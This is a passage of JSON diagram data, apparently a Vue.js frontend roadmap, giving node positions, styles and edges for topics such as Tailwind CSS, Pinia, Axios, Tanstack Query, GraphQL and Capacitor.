999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.7759930933753,\n        \"y\": 1663.1656483488384\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q1PayNkcJHU43QCdChAXt\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 80.64058812810305,\n        \"y\": 1508.9384945254162\n      },\n      \"width\": 173,\n      \"height\": 211,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"oldId\": \"sg9IjWWorT2lLEnUek-q5\",\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 80.64058812810305,\n        \"y\": 1508.9384945254162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 211\n      }\n    },\n    {\n      \"id\": \"TkzlmJ85O-e-KfMhTBwry\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 90.64058812810305,\n        \"y\": 1553.4384945254162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tailwind CSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LjEAviRMtPLwUUlfcof1h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 90.64058812810305,\n        \"y\": 1553.4384945254162\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VNclt_QQthWb2u4xWI_uY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 90.64058812810305,\n        \"y\": 1606.4384945254162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vuetify\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"p5bUvgr_3H-A55ZnEExk8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 90.64058812810305,\n        \"y\": 1606.4384945254162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NMIh8rqLM5P-Uk65uHATn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 90.64058812810305,\n        \"y\": 1659.4384945254162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Element UI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JbMKUVDMUygjXXmhndHVs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 90.64058812810305,\n        \"y\": 1659.4384945254162\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uNLdPeShyAMpc-_JKMsnb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -367.5730606910654,\n        \"y\": 1512.4295074880922\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 73,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -367.5730606910654,\n        \"y\": 1512.4295074880922\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 73,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"5BmKlchM8LbBo2xFOP1wk\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 133.64058812810305,\n        \"y\": 1515.4451563483256\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Styling\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 67,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 133.64058812810305,\n        \"y\": 1515.4451563483256\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 67,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"9AwVtwIv6TfP9F4ulz2F0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 310.5448461352869,\n        \"y\": 1589.9384945254162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3RwIO-S8-xOYKNmfwk0pf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 310.5448461352869,\n        \"y\": 1589.9384945254162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MsPIwtv5b_mp567YlLkEU\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -215.5730606910654,\n        \"y\": 1673.9384945254162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -215.5730606910654,\n        \"y\": 1673.9384945254162\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"NIvjyhtTFC1gomtGQT_2t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 365.0448461352869,\n        \"y\": 1499.4295074880922\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pinia\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 84,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 365.0448461352869,\n        \"y\": 1499.4295074880922\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 84,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZLlz0Azfze-8k3z8HnVvE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 322.0448461352869,\n        \"y\": 1767.5550770848167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Calls\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3RwIO-S8-xOYKNmfwk0pf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 322.0448461352869,\n        \"y\": 1767.5550770848167\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l2Rl6OQbL7kYvPlpYCZ0Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 322.693038734734,\n        \"y\": 1858.88303846187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Apollo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 322.693038734734,\n        \"y\": 1858.88303846187\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n5IlN-wv4k0r16CvhoSpD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 319.2119067267403,\n        \"y\": 1954.4720214419385\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Axios\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 88,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 319.2119067267403,\n        \"y\": 1954.4720214419385\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 88,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ufnt87swK61kxShLuVc1-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 410.7868316808595,\n        \"y\": 1954.4720214419385\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"fetch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 84,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 410.7868316808595,\n        \"y\": 1954.4720214419385\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 84,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WSq_cDKQPZa_qmQlIdGXg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 318.7868316808595,\n        \"y\": 2006.4720214419385\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tanstack Query\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 318.7868316808595,\n        \"y\": 2006.4720214419385\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hqLe_qkIsVAisPw31NroU\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 364.193038734734,\n        \"y\": 1912.88303846187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"7ZP7XMaMxk1iOs3rgnuJy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 364.193038734734,\n        \"y\": 1912.88303846187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 87,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"7ZP7XMaMxk1iOs3rgnuJy\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 363.2868316808595,\n        \"y\": 2059.18789405153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 363.2868316808595,\n        \"y\": 2059.18789405153\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"3RwIO-S8-xOYKNmfwk0pf\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -86.12877362673987,\n        \"y\": 1767.5550770848167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mobile Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -86.12877362673987,\n        \"y\": 1767.5550770848167\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IsNzCdS05tbAK0D1zz0Sf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.8080206821377,\n        \"y\": 1767.5550770848167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Capacitor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -271.8080206821377,\n        \"y\": 1767.5550770848167\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XDvH2t3AJGevS17uM8TO6\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-XDvH2t3AJGevS17uM8TO6w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XDvH2t3AJGevS17uM8TO6\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kPzzrnb2DRHlJ7piaywDe\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-XDvH2t3AJGevS17uM8TO6z2-kPzzrnb2DRHlJ7piaywDey2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kPzzrnb2DRHlJ7piaywDe\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"y9ToYDix-koRbR6FLydFw\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-kPzzrnb2DRHlJ7piaywDew2-y9ToYDix-koRbR6FLydFwx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kPzzrnb2DRHlJ7piaywDe\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0EevuyZiyty3X3Jzpjl4y\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kPzzrnb2DRHlJ7piaywDex2-tU4Umtnfu01t9gLlnlK6bw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0EevuyZiyty3X3Jzpjl4y\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2HhKifjuDcP3eKpanRMEQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6by2-2HhKifjuDcP3eKpanRMEQz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0EevuyZiyty3X3Jzpjl4y\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VNBRlJkdH6NOOzGXUrbZK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6by2-VNBRlJkdH6NOOzGXUrbZKz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0EevuyZiyty3X3Jzpjl4y\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"swpyZFUO4UO3mW8Bvf1Te\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6by2-swpyZFUO4UO3mW8Bvf1Tez1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0EevuyZiyty3X3Jzpjl4y\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4S5fVFsFDMbq05ld7n0sF\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6by2-4S5fVFsFDMbq05ld7n0sFz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0EevuyZiyty3X3Jzpjl4y\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VlcYnTHW5d4J_zLYupvu5\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-0EevuyZiyty3X3Jzpjl4yx2-VlcYnTHW5d4J_zLYupvu5w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlcYnTHW5d4J_zLYupvu5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"CGdw3PqLRb9OqFU5SqmE1\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-VlcYnTHW5d4J_zLYupvu5x2-CGdw3PqLRb9OqFU5SqmE1w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CGdw3PqLRb9OqFU5SqmE1\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"aIYgUc_hEIZx_2P3OhCNh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CGdw3PqLRb9OqFU5SqmE1x2-aIYgUc_hEIZx_2P3OhCNhw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CGdw3PqLRb9OqFU5SqmE1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_dQbXoFTJHaOARTWDUeHY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-CGdw3PqLRb9OqFU5SqmE1y2-_dQbXoFTJHaOARTWDUeHYz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_dQbXoFTJHaOARTWDUeHY\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_dQbXoFTJHaOARTWDUeHYx2-tU4Umtnfu01t9gLlnlK6bw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_dQbXoFTJHaOARTWDUeHY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qRm08uDZW-D8QDc-9sPX8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_dQbXoFTJHaOARTWDUeHYy2-qRm08uDZW-D8QDc-9sPX8x1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qRm08uDZW-D8QDc-9sPX8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1oIt_5OK-t2WaCgaYt9A8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qRm08uDZW-D8QDc-9sPX8y2-1oIt_5OK-t2WaCgaYt9A8z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qRm08uDZW-D8QDc-9sPX8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gihxGgt177BK_EYsAfpx9\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qRm08uDZW-D8QDc-9sPX8y2-gihxGgt177BK_EYsAfpx9z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qRm08uDZW-D8QDc-9sPX8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"f7N4pAp_jBlT8_8owAcbG\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qRm08uDZW-D8QDc-9sPX8y2-f7N4pAp_jBlT8_8owAcbGz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OpJ2NMKCGXQezpzURE45R\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PPUU3Rb73aCpT4zcyvlJE\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-OpJ2NMKCGXQezpzURE45Ry2-PPUU3Rb73aCpT4zcyvlJEz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OpJ2NMKCGXQezpzURE45R\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"a0qwdQTunxEjQ9A5wpF-q\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-OpJ2NMKCGXQezpzURE45Ry2-a0qwdQTunxEjQ9A5wpF-qz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WiGG9_4G5y-AVA9byw6_g\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"PQu4TyJOfCEaafW5th0e4\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-WiGG9_4G5y-AVA9byw6_gx2-Bx1Atxcf15AEaA1BiSIc6w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        